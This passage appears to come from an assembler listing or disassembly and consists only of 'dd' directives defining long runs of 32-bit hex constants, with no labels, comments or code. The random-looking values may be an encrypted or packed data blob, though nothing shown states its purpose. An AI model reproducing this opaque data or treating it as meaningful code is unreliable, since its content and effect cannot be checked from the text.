802BA13h, 906B6CF2h, 1801FBD3h dd 0C37985CAh, 0F9867D5Ch, 83A7475Dh, 6DD1930Ah, 0D36A10BAh dd 6B4CD73Dh, 0EC585759h, 0D5B7F933h, 7A6B443Ah, 0B84C3D9Ah dd 0B1B0BE89h, 50272C6Eh, 2BF0EFF1h, 0F95AEF8Dh, 722F11C6h dd 0BFAE7EBh, 0B130B4Dh, 0AC27AB3Ah, 3072A032h, 97EEBE9Fh dd 5E1671C5h, 0D5D7DCB6h, 50D8EA48h, 633808FDh, 47494725h dd 3866BB91h, 7FF1B42Ah, 67B76F2Dh, 6107F0DCh, 55E0D954h dd 7F5AF71Bh, 7CF2E3ADh, 6E69D316h, 8B1B13D2h, 82AD377Eh dd 9C2A09FCh, 93C201ACh, 8472330Fh, 0BCF82C97h, 0BA913E51h dd 0B20110AAh, 0F0B85971h, 0B04C47EDh, 0F8A42CECh, 0A1102425h dd 0E0136EB6h, 0F9C6795Bh, 0E9336FECh, 0F9B86566h, 78408C58h dd 3BDBBDACh, 1F6B876Eh, 121F85DBh, 0B89D651h, 336886D7h dd 6FD83B4h, 2956E24Ah, 32F9C8A4h, 30F85C17h, 0A939ACAEh dd 30CE09F7h, 6FB95A86h, 10A884E7h, 366A19A1h, 0E84184DAh dd 92D00829h, 0C6EDFFBCh, 0B1C47C30h, 951E58D6h, 0E61D3ACCh dd 0F37D49ADh, 0F74EF133h, 0B66B443Ah, 0DEE96B94h, 3DB9A7h dd 27243C56h, 0B0A8F25Fh, 0DE75E646h, 6E269848h, 6AD5BDE5h dd 6810EF45h, 875307D7h, 783C88E1h, 80C099CAh, 60F0E432h dd 761F9AF5h, 50849856h, 76BE5981h, 80ABC4FAh, 529FB122h dd 0A587E7C0h, 28F4921Ch, 0C8C37465h, 0E7436291h, 10289F9Ah dd 4BD2DFDEh, 2E53CB15h, 0F82030F2h, 0CE52E1DDh, 94AC6C9Eh dd 84F9B04h, 27E3AA66h, 0C254D92Dh, 1C74C2Eh, 8288C127h dd 0E99D3C06h, 0E16865D3h, 3D5B7DBFh, 0A0001ADCh, 987C172Eh dd 0D5BB4132h, 0A6663FCCh, 808C484Eh, 46A66989h, 7A70F4F2h dd 1F04EC4Eh, 90294C9h, 19BAA848h, 0C5B78492h, 48A4F2CCh dd 7E1A41E3h, 983BCC6h, 298539CFh, 0ADEDACBEh, 20C09B5Ah dd 92A963D7h, 83A884CCh, 8148836h, 8A3509CAh, 0A1EC6C2Fh dd 0CF7EC92Fh, 2A2C6C1Eh, 86CF9B8Fh, 0C6F1D921h, 80085442h dd 0D61BE93Dh, 4DE0443Ah, 0A8521103h, 0DAEC6402h, 0FA24466Fh dd 0A09026B2h, 0B269E3C6h, 1568048Dh, 0AAA156DEh, 9E208907h dd 12FEFCE6h, 1DAD7964h, 3C84FCD0h, 31A0B46Ch, 76C923F4h dd 8C8C42Dh, 77125981h, 0C566C4FAh, 381CFD11h, 30745CC2h dd 7BB3AC2Eh, 131BE7D5h, 54F8B234h, 85D7943Eh, 884B254h dd 7ECD9h, 4DE17CB6h, 0F0C86CC3h, 1EF9E1D7h, 8B074C4h dd 27E3A95Bh, 0D088583Ah, 86BD1B3Eh, 94250AE3h, 0F4807838h dd 3AADCB82h, 2DA43CD0h, 95942B9Ah, 0B7C1CC4h, 90E8115Ah dd 97E1819Eh, 0D9C01413h, 473E41FBh, 7670F4F2h, 0EBFB13BBh dd 704FF207h, 0DCD3DC26h, 5048D682h, 4924207Fh, 2874C46Ah dd 388CBDD7h, 0E0E21BDh, 0ECE5ACBEh, 20D0A58Ah, 72E817D6h dd 8557C6F2h, 804B348h, 75D9444Fh, 0EB64143Bh, 65A774A2h dd 0E8D452A4h, 5DB38691h, 0D88C4289h, 5D212152h, 0D86A3F3Bh dd 551F142Ah, 0B85C0394h, 34B7F487h, 0A8242DE7h, 2B9C6451h dd 17CCE346h, 80767B37h, 0CF51CA1Eh, 814014CBh, 79C6FC9Ch dd 0E5E7F608h, 6894D3C0h, 6F0F1CB9h, 585DBC22h, 0C5454712h dd 4824D215h, 13F2D480h, 6F229A9h, 0F0FDB4D2h, 29A42921h dd 9DDDA49Ah, 18AC828Ah, 2CC09CC3h, 606B7324h, 84DEh, 718A57E8h dd 0F8C5016h, 0F87AEE1Bh, 7A0DE9FAh, 691C4C78h, 2A95BCD3h dd 5D79B3C1h dd 0C0705A2Dh, 0ACA43C7Ch, 0E2383482h, 0A231D3BDh, 2D103465h dd 15683882h, 80AAFCA7h, 3E5B5C9Eh, 0A4848F00h, 70CC3D62h dd 6299BEE0h, 2216EE04h, 4434EFB9h, 573D5C2Eh, 1403453h dd 589088F5h, 0CD70F695h, 28B3F46Bh, 30E45C42h, 641ACAEh dd 0EF0DC2Ch, 221CB2A6h, 3E8DB1D7h, 7031F466h, 0AF3A1EAh dd 0B6A5337Ch, 0F0F7482h, 0F8FA569Bh, 4CF4E57Ah, 0B29C5CE6h dd 835F0452h, 0F77ED941h, 4D6B443Ah, 0B85C2906h, 0AB5B3468h dd 0F929E505h, 0A0902132h, 0FCD93A46h, 6F3F14B8h, 98EA368Bh dd 8C84878Ah, 10A717A6h, 7018F465h, 76245143h, 33A7E42Ah dd 67564959h, 904DD402h, 0FDB99800h, 40B0FBA2h, 2D9C19D5h dd 0BD78B4D2h, 38A5EBA3h, 4A9E8F9Ah, 4BEACD06h, 2F2E018Dh dd 0F0178CCEh, 912FFA4Ah, 4DE1823Dh, 0F0C84B6Ah, 46B6613Eh dd 8D0748Fh, 27E3A64Ch, 339F26B3h, 0C983C137h, 0FEBAE41h dd 541F23Dh, 0B0280BCAh, 5F23881Dh, 5F439DB1h, 8842E653h dd 0E7559432h, 89541C8Bh, 0B0A82E7Eh, 872CFC03h, 60A65E77h dd 2FB96C4Eh, 6070F4FBh, 0DD1BCD52h, 5058CAFDh, 48B4CCFEh dd 16741ACh, 0D18CBCC6h, 0CF074A4Ah, 3DE42969h, 20D0A40Ah dd 0DA611C86h, 1AA594F6h, 677AAC11h, 6FA0EAA5h, 91805C50h dd 0D07911C4h, 81B04C41h, 94100117h, 0BDFF7C89h, 0A26A313Eh dd 0E91138DFh, 0E0C04E27h, 0F76C1CB6h, 0DDCD4722h, 88564903h dd 0C4E245BDh, 95DD7223h, 0FC0D46B8h, 0E4A0627Bh, 0EC3377EFh dd 19C4DC8Fh, 50618412h, 48E082AFh, 5809C5Fh, 363DA8C5h dd 23E8F866h, 2C5AAD0Ah, 7AC7AA83h, 32019176h, 530CD595h dd 4F8AC546h, 4C3CC5BAh, 61DDF826h, 7446F552h, 6FFDE2FEh dd 202CF022h, 0D81E13D0h, 95B10644h, 0C83708E0h, 81C744B3h dd 0D526280Fh, 0B5E003D8h, 0A9D4294Ch, 0B94021D8h, 98E04979h dd 0D55146E4h, 97D74880h, 0CD7F677Ah, 0D15C3DA3h, 0E3813446h dd 0E53D78BEh, 0C9E0256Fh, 585FDB02h, 15EC958Eh, 0CAA5446Fh dd 0C664CDF6h, 0C8ABA736h, 0A43C849Eh, 0E3ED9B03h, 63055250h dd 0A80B34B8h, 1B89FFCDh, 0DA75A686h, 20D0A4EAh, 183C9C86h dd 10A894F2h, 8148C5Eh, 8084CAh, 0F8EC7C36h, 0F05874A2h dd 0E8C46C0Eh, 0E030647Ah, 0D89C5CE6h, 0D0085452h, 0C8744CBEh dd 0C0E0442Ah, 0B84C3C96h, 0B0B83402h, 0A8242C6Eh, 0A09024DAh dd 98FC1C46h, 906814B2h, 88D40C1Eh, 8040048Ah, 78ACFCF6h dd 7018F462h, 0CD078CCEh, 60E0A682h, 0E4F95FA6h, 50C8C450h dd 5C777B71h, 4FB89767h, 3B0AF7E1h, 143C3F12h, 24A6870Ah dd 626BBDE8h, 93A8EF0Eh, 52038030h, 0B00105D2h, 89009408h dd 0E82EC033h, 73DD9F22h, 31A6444Ch, 0E0B4A69Bh, 0FC43D9EEh dd 0B46054C2h, 0A0F44C3Eh, 0C06044B5h, 9B40B99Bh, 89613492h dd 2BA858F6h, 57F2209Ah, 0DAE89939h, 672B1422h, 0D7D90F47h dd 63C0142Eh, 845C0366h, 981BF46Dh, 0E1F20E4Ah, 70536827h dd 58E65F26h, 6263D1E6h, 0C5A4BEFDh, 1B783824h, 38B63F88h dd 207B036h, 5A9BAF45h, 0DF874C0Ah, 0D6176379h, 521419D9h dd 0B4C8C4Eh, 8F43B081h, 0E8AEE4B3h, 64DDB3A2h, 0E8C47C4Ch dd 830647Ah, 0D89C5CDAh, 929CD1D9h, 619C4CAEh, 281FBBDCh dd 0B84C3C8Eh, 0F22C8981h, 0DD242C7Eh, 0A80DADD2h, 73FC0C62h dd 4E5EB2Eh, 4BD41C5Ch, 0C2D88105h, 0ED25FCE6h, 7008B6F6h dd 6884EF26h, 0A339D73Ah, 58DC4F2Dh, 0B89AD412h, 0B7CB3293h dd 21C51E9h, 0EE0FBC46h, 3074CE41h, 29E32821h, 5AD3A49Ah dd 9CB39C16h, 1028948Fh, 5898CE55h, 0FFFE4CA2h, 44E97F49h dd 0F3D86460h, 0E0CE3C48h, 94B09D7Ah, 0F6E5DC7Fh, 3BC857A6h dd 0C9BCC7CFh, 1FBFA52Bh, 414DE3C9h, 0B07478C6h, 83FDC09Bh dd 5AE9A792h, 98CB93C9h, 118E1432h, 0BA67F2E6h, 806B8105h dd 0FB7AFC76h, 75EDF4D8h, 8314A6C5h, 637A6FB8h, 2A348DD7h dd 53B72B6Ch, 58F6704Bh, 80A5696Ah, 0BC8347AEh, 30F8B4C6h dd 6AD81951h, 0C880A40Ah, 0E7C362D3h, 521411F1h, 8D9B8C4Eh dd 90C676h, 0ABC87835h, 0C35AB421h, 0E07263D5h, 29B07699h dd 0FC5D0FC6h, 0CC215076h, 0EC78659Ah, 290B0471h, 6F43C717h dd 8ECCE9B9h, 0ED8CD7EFh, 96E4FFB4h, 0A3A5E7C7h, 0BE1CEB13h dd 0AA02F79Fh, 0A634A83Fh, 913F0777h, 6E6C073Ah, 81F9174Fh dd 76841762h, 671A2727h, 5EBC3537h, 770437FFh, 46D425CFh dd 7A9429A9h, 0D923B4D2h, 0D71B535Fh, 349227C4h, 0E74273EFh dd 7A28578Dh, 417CD4DAh, 88FF7BBFh, 0E84A4523h, 0C1601222h dd 28A66E96h, 2B2671Eh, 0DE76F700h, 25A6BC8Ah, 0A77B3C1h dd 0AAB1C3A2h, 99246413h, 30C7CB77h, 0A3D72F14h, 251274EAh dd 986C3AFFh, 0FACFFF98h, 8FE54F6h, 98B507F0h, 79C4EDC6h dd 0C8670B17h, 6804EC4Fh, 6D04363Eh, 92223CF7h, 55A32279h dd 48B4CC46h, 0FFC26FEAh, 0A8193115h, 1BF8A47Bh, 0EBBE5B79h dd 195421EDh, 183C9C96h, 85A79CF2h, 3F44D9Eh, 3902013Ch dd 8DED7C26h, 795512A4h, 1ED7872Bh, 0F009E6FFh, 0DEE95EE6h dd 0F5395934h, 0C5124855h, 6B86612Bh, 47B3807Eh, 84FBBFFDh dd 0EA88B9E7h, 633B24CAh, 0A17899B1h, 906814A2h, 1DDB041Eh dd 2AFC004Ah, 8753601Eh, 0C08D7D9Dh, 9E84FC8Ch, 70C966BFh dd 5C29DDA6h, 5223E51Dh, 8B9F0C55h, 7924411Dh, 380CBC46h dd 170CBCC2h, 119A29A4h, 0C091A48Ah, 93B1FA0Dh, 0A083F237h dd 8D1E2626h, 10BD34h, 0FD779C77h, 0F6511045h, 8E845F25h dd 58A28F51h, 0D819D302h, 0AE0DDE79h, 0CCF45C07h, 0D88085F2h dd 3D0AFFBDh, 0B0281316h, 1881C7E7h, 0C630CFA6h, 0FE7CF77Eh dd 0FAF1FF99h, 81BC549Ah, 0D3FFBFEh, 98ED2E72h, 0F99D92EAh dd 83AF8A8Eh, 0CAE054B9h, 0B084C94Ch, 0AFB72762h, 6F20497Eh dd 0C026C47Ah, 17FFB42Ch, 0F38C66C6h, 0EB106650h, 0E7A46EE4h dd 0C1485678h, 1CDC5E0Ch, 76046A0h, 0FF44E34h, 33078586h dd 40F2F312h, 580087D5h, 50F08F8Fh, 1B20B71Eh, 0E98CD1A5h dd 0E8744CAEh, 4650442Ah, 0BC483EE3h, 3A467B8Fh, 0B81D50CBh dd 203B42DAh, 9F8919BAh, 0DFE81402h, 607E4CE1h, 7FBFFBE8h dd 41287901h, 3018F472h, 0D0E2ECCEh, 6285D55Ch, 0F33AF512h dd 0D5C2CCA2h, 4824F500h, 0EAA3242Ah, 0C7F381BEh, 0C7F0043Dh dd 38DD28ABh, 20D0A49Ah, 0A8BEE906h, 6C8D1EF4h, 6E949CE7h dd 5FC04E1h, 0F8DC7BC3h, 0B0273BA2h, 55C9AF24h, 0E0A05D6Ah dd 27E3518Eh, 540DA32Dh, 0C8F45C07h, 0B47044AAh, 12AC8C15h dd 89BCB175h, 0A8A42CFEh, 0A7642C5Ah, 74F7497Eh, 67A7BF32h dd 986D881Bh, 80C0070Ah, 88A8F377h, 0C098F4E2h, 0E1AF46A6h dd 70327807h, 0A6103426h, 0B8F82B6Dh, 0F53D6754h, 403086CAh dd 0C772013Eh, 0B47D43BDh, 2B64BC97h, 54D0A41Ah, 9CB96B9Ch dd 10A884CBh, 7C158C5Eh, 0FEAE6CC0h, 630483C9h, 40A78B5Ch dd 636FC6E7h, 0F072F8FFh, 0F353D7E6h, 74B5DD9Ah, 41745CFCh dd 0A758B862h, 137AC3F2h, 1BDEF431h, 91A0A999h, 0A09324CAh dd 8B881C46h, 0A9EA9144h, 0FC540C0Eh, 7DEAEC80h, 23440309h dd 0C8E70B9Ch, 4E0D88A9h, 630D791h, 0DCD92B0Dh, 53C8C42Bh dd 3C34CC7Eh, 0C22532B0h, 0B80CAC6Fh, 0B190BEB7h, 0C01B53D3h dd 0DFAF5AA8h, 0E7419EEEh, 0F808248Dh, 0F76B77CAh, 0B866BDA9h dd 530A6949h, 6553DFB3h, 0E854550Ah, 2247B60Dh, 0D81C5C65h dd 0C6040A7h, 780BB3C2h dd 3A8EACB5h, 0AAC3E9h, 1B5E217Dh, 672F877Fh, 0E2B4A1D1h dd 50571CD6h, 67145CBBh, 986D881Bh, 80C0070Ah, 8F148876h dd 60A17067h, 6804EC4Eh, 975C90BCh, 48E558A3h, 5048D492h dd 0A0BEB9FFh, 0BFDF39A8h, 0C771F73Eh, 0B47D43BDh, 2864BC97h dd 54D4A41Ah, 0E590748Ch, 71406B0Dh, 0FFEB73A3h, 10B9004Fh dd 0F8EC7836h, 184F00A2h, 173B9198h, 1EF04DC2h, 0D024F72Eh dd 7B0C2092h, 238C3906h, 0BF08EF4Dh, 4FB3C36Bh, 0A081B087h dd 0A824246Eh, 20E251DAh, 88C59EFBh, 0F91C14B2h, 772969F6h dd 9869BC75h, 0DDA635DFh, 7008CD1Ch, 6287080Eh, 70C99A9Fh dd 13B477A6h, 0E0372BEFh, 0CDBE66CFh, 40B0FD68h, 0C53054FCh dd 86774B3Dh, 38DDD2ABh, 0E054299Ah, 0F87DDC02h, 76A5247Ah dd 0A2953C75h, 0FD206C1Dh, 0C4458349h, 12601206h, 6DB33575h dd 0E0A05D7Eh, 0D81C5C76h, 993853A6h, 0BD4C2A94h, 0A6814650h dd 4430D4BDh, 5888CB7Dh, 3641F44h, 0E29899D3h, 1D8B1CD6h dd 90F82DB6h, 88540CBEh, 6897137Fh, 87D300A8h, 0C0577FB8h dd 62CEC716h, 7049983Fh, 0A4965526h, 0AC803C38h, 0F0D23301h dd 0C5D704EBh, 389C8552h, 30F8B402h, 0ECE4AFDAh, 5C75AE32h dd 7E3C8CBFh, 9C151D59h, 0A3149C1Ch, 3904013Dh, 0F8EC7C26h dd 0F92D34A2h, 6DC63CBEh, 0E0205D06h, 5C19AB4Ch, 5008446Bh dd 0BD744CBEh, 0CA58F421h, 0A8754113h, 8D539E02h, 0B0159408h dd 9914A12Dh, 99FC1C56h, 921C14B2h, 2DDE25AEh, 80503DF7h dd 72AF1836h, 602189C7h, 0E2F8ACEh, 97006582h, 48655823h dd 50CAD412h, 0FC36B97Eh, 3D05CE22h, 5E0CAC6Fh, 98C53D69h dd 90E4BC6Ch, 20508D0Ah, 9C396BADh, 1828844Bh, 7C948CDEh dd 0FC206C3Bh, 7D9B8349h, 0F0C84DA6h, 0E844688Eh, 58006F8Fh dd 0E162D96Ch, 3B2254C2h, 4C71BB73h, 0C0605493h, 0CDCC3C1Eh dd 33805293h, 0D601260Eh, 0C6103463h, 32BC2F6Dh, 288E01D9h dd 2D5E14B7h, 80D03D74h, 722F18B6h, 60A18A47h, 9FAF8A4Eh dd 7049603Fh, 58CCDC26h, 0D1F0B292h, 0C8B7B83Eh, 0E52ACCAEh dd 389C85A8h, 86F71F24h, 385D2E2Bh, 8F380F1Ah, 0EFC3637Dh dd 911077h, 8148C5Eh, 0B08EF08Ah, 84697E66h, 5A58649Bh dd 173FF9E6h, 1E7FE985h, 9A0CD16Fh, 55FF5442h, 0C864753Ah dd 40E0442Ah, 50FC30E2h, 0D319FA8h, 0A8346EDAh, 41782131h dd 7003E3BDh, 6F97EFD8h, 0B15089E9h, 8040049Ah, 73D9FCF7h dd 0F512B4D2h, 6894D5B2h, 6FF0F90h, 529C5F1Eh, 40F1A8B7h dd 0F89FAA7Eh, 0C5576EEBh, 381C85D2h, 307AB4C2h, 0AD13835Bh dd 20409D1Eh, 18B89C06h, 0D0988E07h, 31EA09D4h, 0A58A845Ah dd 0F87C4535h, 96C894E3h, 43C50A36h, 0E85B644Ah, 5D161CD6h dd 0D0986DACh, 4C71BB94h, 0C0605493h, 0CDCC3416h, 33805292h dd 0D5012606h, 0C6103463h, 737DAC6Dh, 9AA0A43Ah, 986D711Bh dd 5F28AE0Ah, 8FD3038Ch, 60A17067h, 7804EC4Eh, 150555BAh dd 0DB64BA03h, 2DEDDE6Ah, 2EB4DCC7h, 0EAE0F7C1h, 7A1C01FFh dd 0B50FB452h, 2874952Ah, 20F0A41Ah, 6F8D83F3h, 0A8CE8F19h dd 0AD1E9457h, 90BDB7h, 0F2EF98F6h, 0E0610907h, 0C16F0A0Eh dd 0F072F4C7h, 525DD6E6h, 0C04AC4F7h, 78DF2ABEh, 0BC654672h dd 124C2CAFh, 4F424DEAh, 2CA1DB91h, 0A39034E3h, 0ECFD1C46h dd 14EDE39Eh, 88D41C27h, 0F544048Ah, 0FC290BD6h, 7018E45Bh dd 1D87ECCEh, 992E0C30h, 13B42359h, 0B8372BE8h, 0B7CB367Eh dd 0BF5A8502h, 0BC894BA9h, 3078A4FBh, 5CECAC2Eh, 8A991492h dd 0E746B1EEh, 94AD638Dh, 8949CE7h, 7410844Ah, 0D26BCC9Ch dd 0E0E108A7h, 0F2A4AD8Eh, 0C4B8EDF7h, 0A4B95E66h, 108844EBh dd 0C744FDAh, 3F88EFAEh, 833C3EFh, 47D09EE3h, 0CE5BD317h dd 0AAF0DBE2h, 88456063h, 78437232h, 77ABF578h, 0B94481FDh dd 780CFC66h, 34ECF4E2h, 0E58F2BC5h, 6060A632h, 19551D0Dh dd 5A10646Eh, 588DB07Bh, 0FFC86E6Ah, 0CF73432Fh, 20C130C7h dd 6864ACAEh, 46DCD01Ah, 12FFCC3Eh, 91E877h, 6E1E675Eh dd 0A607B72h, 0E8D50093h, 18F312A2h, 173B9598h, 0D9B4E18Dh dd 0D89F5CF6h, 8F7C5552h, 4DFF8335h, 0C0F0068Ah, 0F0C5F4BDh dd 477107FEh, 0B81DA8EBh, 209024DAh, 15F26946h, 80516837h dd 0C8DC861Eh, 0F343FD0Ah, 0B5A8710Eh, 7008D026h, 0D88C0C0Fh dd 66134FB1h, 986D64C0h, 0E8AE7F74h, 0F05C4CF1h, 42A0C4EAh dd 60A7DAB7h, 45B13169h, 195CCA28h, 90FBC25Ah, 335436C5h dd 0E7D76B8Bh, 18AD085Bh, 844Ah, 73760836h, 445DFFEDh dd 0C3447CCCh, 1CF8ED32h, 27E5238Eh, 7A4BE42Dh, 370D49D6h dd 50E5C955h, 4FCC2C2Fh, 0A001B007h, 0A8A42CEEh, 0F716517Ah dd 7324E4EDh, 0B8BB9F2Bh, 587FF4B5h, 0C2688981h, 0ED2DFC66h dd 7088B66Ah, 2C8FD54Fh, 0DDF9E09Eh, 58CCCC4Eh, 12C46919h dd 0CD9FCCEEh, 403086E2h, 1083921h, 30B8B452h, 2A10ACAEh dd 0E27B7CEDh, 4F6A9C82h, 526C2971h, 7148C4Eh, 815D4Eh dd 0F8E19436h, 0B51374A2h, 0A481225Ch, 0A41E5649h, 279C10AAh dd 0C03626C7h, 10F1C5BEh, 93E05468h, 0BB70641Dh, 98CBCBDAh dd 40106FE5h, 5F6FD1C3h, 0DA4489CDh, 933314A2h, 0D5D005Ch dd 80504656h, 0F1A4BEF5h, 605A14E7h, 40F767CEh, 607057C5h dd 0AAB4DCA6h, 0DB372BE6h, 587674C3h, 0A64892EAh, 0B3F343A2h dd 203A0C57h, 20AE272Eh, 0B5CEE99h, 1D551FC8h, 11481C7Dh dd 8C9B8CDEh, 8510h, 0BAD0C9B5h, 45DB7432h, 0E8542EF6h dd 0EF585856h, 0D81CFEE3h, 0D4CED9D2h, 8A8CC915h, 0C66344BAh dd 4C6FD446h, 0DBBCB7Dh, 0A8B46E56h, 9B1B515Ah, 1B731081h dd 90E81529h, 1D6D0075h, 80D046B2h, 79217979h, 0F59BF4E2h dd 6814AE36h, 9F4865DCh, 0A459D303h, 0DB48D492h, 0B9FCEBEh dd 26C8945Eh, 1734322h, 20BA0CFFh, 0CCE1A3AEh, 23D0A41Ah dd 87E2003h, 682D97F2h, 83149C1Ch, 0CC7AFCAh, 0F821FE39h dd 0B76374A2h, 2C476306h, 6330647Ah, 9F9F5E26h, 0A88D5746h dd 9A745CFCh, 1855BB7Ah, 474C2CD4h, 0A0860697h, 68A1766Eh dd 0A027A1D5h, 4151C46h, 0AC6814B2h, 1C5103E1h, 40048Ah dd 0FDA3E9C8h, 7018F4E9h, 4385AA45h, 88A0D079h, 0A7A32F53h dd 1270692Bh, 3F41CC6Eh, 21C41E9h, 0BD0FBC46h, 3068F6BAh dd 6A0029A7h, 20DBA48Ah, 5A60193Dh, 185A9462h, 4A7409E5h dd 6972845Ah, 0F86C7C8Bh, 18EF0652h, 0E8446C91h, 6B4C2A77h dd 0DB1E77A7h, 55B34490h, 0C8E40EDAh, 4E348DFh, 37FDC306h dd 0D12410C6h, 27673705h, 0B052BCDFh, 2DF77CC6h, 90F8564Ah dd 77A09F76h, 806965F5h, 0DACFC76h, 7CDFDFECh, 2F3FE53Ch dd 5CF2EBB2h, 112323D9h, 0AEFA519Dh, 743F3301h, 0C487454Eh dd 0C78CBCFFh, 0DB174BBDh, 0C2E2DECh, 0C0D0A47Ah, 93FCAFC8h dd 952FB0FEh, 804CE9Ah, 42400143h, 41617C26h, 0F0585D2Ah dd 0AABCE90Dh, 4556646Ah, 1EB71243h, 0FB1C1651h, 8EB240FCh dd 4127ACD1h, 0B84C3CC5h, 0B0B83407h, 0F7D86AE7h, 5FC7E784h dd 88C262D3h, 8F80D5B2h, 89CE8911h, 0D410048Ah, 87C6D49Ch dd 4EC6619Dh, 0A801ECDEh, 6578EB65h, 0B05CDCA7h, 0AF37309Eh dd 4834DD96h, 34C597EAh, 5D60D510h, 451BD191h, 5190C55Ch dd 95AFA4DBh, 18ACDE4Ah, 2E1A018Dh, 8D1D8CCEh, 10C61Eh dd 0F86C655Eh, 0A4BD2722h, 0A72107EFh, 92D50A8Dh, 0A8753415h dd 0A6E12682h, 0AF912057h dd 283744CFh, 4733D44Bh, 0B038276Ah, 0FAC17FEEh, 0CF64573Fh dd 0EA2C79B4h, 0FC81625Bh, 88316BFBh, 68FFEC5Dh, 6AC40389h dd 2398F4E2h, 0B65AE2Bh, 300091D1h, 31AAB554h, 352FB1FEh dd 6A5C9BFEh, 0A8DF3B82h, 388CBCCEh, 58BBD111h, 4D03C2CFh dd 49A4CB54h, 6A6CE5E0h, 7CC1E29Bh, 871EB3Bh, 0E77F6C9Dh dd 0ACBC83C9h, 0CDC8F12Fh, 8CAE6C1Eh, 0B7310E2Ah, 0E676C919h dd 0EC815442h, 0EEE1B39Ah, 0EAE05414h, 0F0F1B156h, 0E0B82443h dd 1DDB7C3Eh, 0A080194Ah, 9CFC1D2Eh, 910240B2h, 0DC41F349h dd 0D44014C8h, 87FBF89Ch, 605AA0F7h, 7C406FCEh, 22BC51C5h dd 0CDA3DCB6h, 50D8EA70h, 0FDB90F21h, 40B085A2h, 5E994300h dd 0B378A4FCh, 0ACEB53D6h, 2050A421h, 5AE4198Fh, 10429462h dd 0AA017388h, 85009474h, 5CE87376h, 0DBD87422h, 82143C4Eh dd 0E1DA34F9h, 0D81C5C0Eh, 45770212h, 0C8E4727Ch, 0CF9FBC29h dd 0B8CA3B92h, 0ECBDBD82h, 25A43CACh, 0B05244D7h, 0F0E991C6h dd 0C1E80470h, 0D85466CCh, 0BEAE91F5h, 80AFFC66h, 0A51CFB1Dh dd 204EC4Bh, 3CC51BBAh, 0A7DCCC64h, 4076BE07h, 0B74C4FFEh dd 459E4065h, 0BD05BCD6h, 30E8F632h, 0EB67659Dh, 4A81F44Bh dd 0ADC3CD82h, 10B8D6AEh, 365219A1h, 0C00584DAh, 0FD76F839h dd 396B74A2h, 0AAB0E987h, 0B161646Ah, 0D88334B7h, 2F58545Dh dd 0D84AC22Bh, 0CF20C12Ah, 0B8496F12h, 0C83DBD02h, 6B243C2Ch dd 0A0E2CF62h, 0A0B79746h, 0A9EC9145h, 88D40C0Eh, 8635248Ah dd 68C479F5h, 0A22BF472h, 99732DCDh, 0E57905CDh, 584C9E22h dd 50E15BAAh, 747F477Eh, 50C841E9h, 0EA3FBC46h, 0C18F75C1h dd 0AD6D4DD9h, 2040E6E6h, 530B93C5h, 25CB6D74h, 78CDF53h dd 314C7FDh, 39073566h, 7108770Ah, 813333B4h, 0FDC49D94h dd 0D91026E5h, 9B03B4A0h, 0DCB6C702h, 4D7006A9h, 4F337452h dd 8BF9175Bh, 0B8E65C6Bh, 0F49BE75Ah, 584F0CE2h, 905096BDh dd 3970C9Eh, 0DCBEFC5h, 686DB4CBh, 0AF1308E2h, 54A8257Dh dd 5C7696DBh, 74DEAB5Ch, 0C747EB2h, 6688208Ah, 401C191Eh dd 0F16F54A3h, 75C5B5C9h, 5C64E9F6h, 63839911h, 9D339CD4h dd 0EF576BC1h, 5F298FD5h, 0FC3CA83h, 7135AB2h, 0B30F495Dh dd 6CCB225Bh, 1FCF9B61h, 0EBDF0BDBh, 0C08C5B60h, 0F58BB341h dd 8FB4177Ah, 4749B899h, 6B8BCBFDh, 57DA0186h, 48805125h dd 6703E0BCh, 6F96355Ah, 645003E1h, 0B3BFFB74h, 78BA1424h dd 13F0F462h, 807B1331h, 60F0E43Ah, 4BB15DFBh, 0B9C8C426h dd 4834CF84h, 0CB923B8Eh, 284EC4E3h, 12F1D0C2h, 65DA2D48h dd 0C3D5ABC0h, 93BC9C05h, 0CE2BA82Ch, 58AF0DB8h, 0D3858B0Fh dd 0F6C7CB5h, 0D0D86261h, 6D4B6C8Eh, 0E0B0673Ch, 0DA401F90h dd 0D334D0DDh, 8B7F4C3Eh, 60C079A2h, 3CC39CB6h, 0B038372Ch dd 88840CD3h, 3942B7Ah, 137C1CC5h, 90E8DCB9h, 0D942EF9Eh dd 7F2F8CE2h, 0C4A1FF89h, 7398E4A0h, 28656F80h, 241167BAh dd 0A6473426h, 0D2472B6Dh, 48B4CF84h, 2E061E9h, 0B38CBCC6h dd 7A73BC00h, 5BA587BEh, 0CB10971Eh, 91F49F83h, 952184B8h dd 804CEDEh, 0B88CCEC9h, 0F8ED7C36h, 16E69CF3h, 7DF493F1h dd 0E0205DF8h, 6DAC7C57h, 0D0186DD1h, 18A6CD4h, 28F43C72h dd 47B3DA32h, 24B7E687h, 99C6FFACh, 0B0A9A04Fh, 6F19F746h dd 80519037h, 88D40C1Eh, 7762708Bh, 68957873h, 7018F762h dd 0E98899CEh, 70C9609Fh, 0A7A323A6h, 0D1C23FE9h, 580D48F3h dd 40A0C4EAh, 380AD45Eh, 5821B4C2h, 28E4AC28h, 0C6064CC2h dd 9D3663F9h, 1038AD0Eh, 74BE0858h, 88009473h, 0E8550033h dd 7389622h, 0F87DE80Bh, 0E0B06CFAh, 58152966h, 0C0B12A6Fh dd 0D804D3Eh, 0F9E4C15Dh, 0B8CC3C06h, 0AB4C3C82h, 91D8916Eh dd 0D415244Ah, 0E5C19C76h, 95E8040Bh, 35D4ABEAh, 80D03D74h dd 8FB28873h, 60A17067h, 6804EC4Eh, 0E07990AAh, 48E5A09Bh dd 0D93FD692h, 0A70697Dh, 0A820C47Ah, 0C7734E70h, 0CF05F7AAh dd 2A154451h, 0BD5BA41Ah, 182CDEFAh, 522809F1h, 53FC8C4Eh dd 0F7F7B36h, 0F8EE2DB2h, 88EDFFA2h, 63C47C4Ch, 3E335824h dd 2761000Eh, 0EB8A5BADh, 49744CBCh, 0C0806060h, 46C7DC96h dd 0CABB6250h, 0B85E2F7Ah, 9914A12Dh, 98FC1C56h, 841D34B2h dd 0CA1CB197h, 35CD049Ah, 78BCC566h, 607079E9h, 0CC77ECDEh dd 6A945D6Dh, 0EDD1DCA6h, 50D8C412h, 4885698Dh, 0E453C609h dd 18839A1h, 3078B4D2h, 0ACEB8C2Eh, 2050A434h, 0F094EFF9h dd 0EFD779A3h, 4A2C1955h, 0D285845Ah, 0F8F4F8B9h, 45537422h dd 0E8542EF6h, 61A02E71h, 0D87C782Ch, 9AA3B4D2h, 0FBF63F36h dd 0D4124763h, 0A8A4B12Dh, 3DB33492h, 0A8B43C86h, 9C9B7228h dd 0F0D99FE2h, 90E80422h, 883CAB1Dh, 0BC0040Ah, 322DF40Ch 